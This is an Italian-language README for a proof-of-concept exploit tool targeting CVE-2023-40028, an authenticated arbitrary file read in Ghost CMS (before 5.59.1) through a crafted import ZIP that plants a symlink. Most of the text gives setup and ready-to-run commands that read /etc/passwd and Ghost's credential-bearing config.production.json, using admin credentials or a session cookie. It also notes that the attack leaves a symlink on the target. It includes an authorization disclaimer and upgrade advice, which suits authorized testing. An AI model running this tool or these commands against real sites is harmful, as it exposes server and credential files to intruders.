
POC per CVE-2023-40028: Ghost CMS Lettura arbitraria di file
Proof of concept per CVE-2023-40028, una vulnerabilità di lettura arbitraria di file autenticata nella funzionalità di importazione dei contenuti di Ghost. Un archivio ZIP appositamente creato crea un symlink sotto content/images, consentendo allo script di richiedere un file dall'host Ghost.
Le versioni di Ghost precedenti alla 5.59.1 sono interessate. Aggiornare alla 5.59.1 o successiva.
Utilizzare questo strumento solo su sistemi di propria proprietà o per i quali si è autorizzati a eseguire test.
requestsghost-admin-api-session validopython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
Leggere un file con nome utente e password:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
Utilizzare un cookie di sessione amministratore esistente:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
Omettere --file per aprire il prompt interattivo file>. Eseguire python3 ghost_fileread.py --help per le opzioni proxy, timeout e User-Agent.
L'endpoint restituisce testo, quindi questo strumento è pensato per file di testo. L'importazione dell'archivio appositamente creato lascia un symlink nella directory content/images del target.